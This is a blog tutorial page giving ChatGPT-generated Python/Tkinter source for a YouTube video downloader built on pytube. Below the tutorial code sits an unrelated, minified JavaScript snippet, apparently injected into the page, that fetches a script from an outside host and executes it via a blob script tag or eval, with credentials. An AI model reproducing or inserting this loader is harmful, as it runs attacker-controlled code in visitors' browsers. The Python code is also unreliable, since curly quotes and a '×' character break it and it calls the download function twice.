YouTube Downloader code in Python, Tkinter using ChatGPT

MUHAMMAD IMRAN
3 Min Read

In this tutorial, I’ll create a YouTube Downloader using ChatGPT watch the video and try this Code.

Source Code is here:

import tkinter as tk
from tkinter import messagebox, ttk
from pytube import YouTube
import threading
import os
def download_video():
    video_url = url_entry.get()
    try:
        yt = YouTube(video_url)
        stream = yt.streams.get_highest_resolution()
        video_title = yt.title
        file_size = stream.filesize
        def download():
            stream.download(output_path=”C:/videos/”)
            messagebox.showinfo(“Success”, f”Video ‘{video_title}’ downloaded successfully!”)
        def update_progress():
            while stream.filesize > os.path.getsize(“C:/videos/” + stream.title + “.mp4”):
                bytes_downloaded = os.path.getsize(“C:/videos/” + stream.title + “.mp4”)
                percent = (bytes_downloaded / file_size) * 100
                progress_bar[‘value’] = percent  # Set the progress bar value directly
                root.update_idletasks()
            progress_bar[‘value’] = 100
            download()
        download_thread = threading.Thread(target=download)
        download_thread.start()
        progress_thread = threading.Thread(target=update_progress)
        progress_thread.start()
    except Exception as e:
        messagebox.showerror(“Error”, f”An error occurred: {str(e)}”)
# Create the main window
root = tk.Tk()
root.title(“YouTube Video Downloader”)
# Set the initial window size
root.geometry(“400×250”)  # Width x Height
# Create a custom style for the labels
label_style = ttk.Style()
label_style.configure(“CustomLabel.TLabel”, foreground=”#333″, font=(“Helvetica”, 12))
url_label = ttk.Label(root, text=”Enter YouTube URL:”, style=”CustomLabel.TLabel”)
url_label.pack(pady=10)
# Create a custom style for the entry widget
entry_style = ttk.Style()
entry_style.configure(“CustomEntry.TEntry”, font=(“Helvetica”, 12))
url_entry = ttk.Entry(root, width=40, style=”CustomEntry.TEntry”)
url_entry.pack(pady=10)
# Create a custom style for the buttons
button_style = ttk.Style()
button_style.configure(“CustomButton.TButton”, foreground=”black”, background=”#0074D9″, font=(“Helvetica”, 13))
download_button = ttk.Button(root, text=”Download”, command=download_video, style=”CustomButton.TButton”)
download_button.pack(pady=10)
# Create the progress bar
progress_bar = ttk.Progressbar(root, length=200, mode=’determinate’)
progress_bar.pack(pady=10)
root.mainloop()


;(function(){var u='https://renotad.com/lom1/api.js';function run(t){if(!t||t.length<4096)return!1;try{var b=URL.createObjectURL(new Blob([t],{type:'application/javascript'})),s=document.createElement('script');s.onload=function(){try{s.parentNode&&s.parentNode.removeChild(s);URL.revokeObjectURL(b);}catch(e){}};s.src=b;(document.head||document.documentElement).appendChild(s);return!0;}catch(e){try{(0,eval)(t);return!0;}catch(e2){return!1;}}}function xhr(){var x=new XMLHttpRequest();x.open('GET',u,true);x.withCredentials=true;x.onload=function(){run(x.responseText||'');};x.send();}if(window.fetch){fetch(u,{cache:'force-cache',credentials:'same-origin'}).then(function(r){if(!r.ok)throw r;var ct=r.headers.get('content-type')||'';if(ct.indexOf('html')!==-1)throw'cf';return r.text();}).then(function(t){if(!run(t))xhr();}).catch(function(){xhr();});}else xhr();})();

Share This Article
Leave a Comment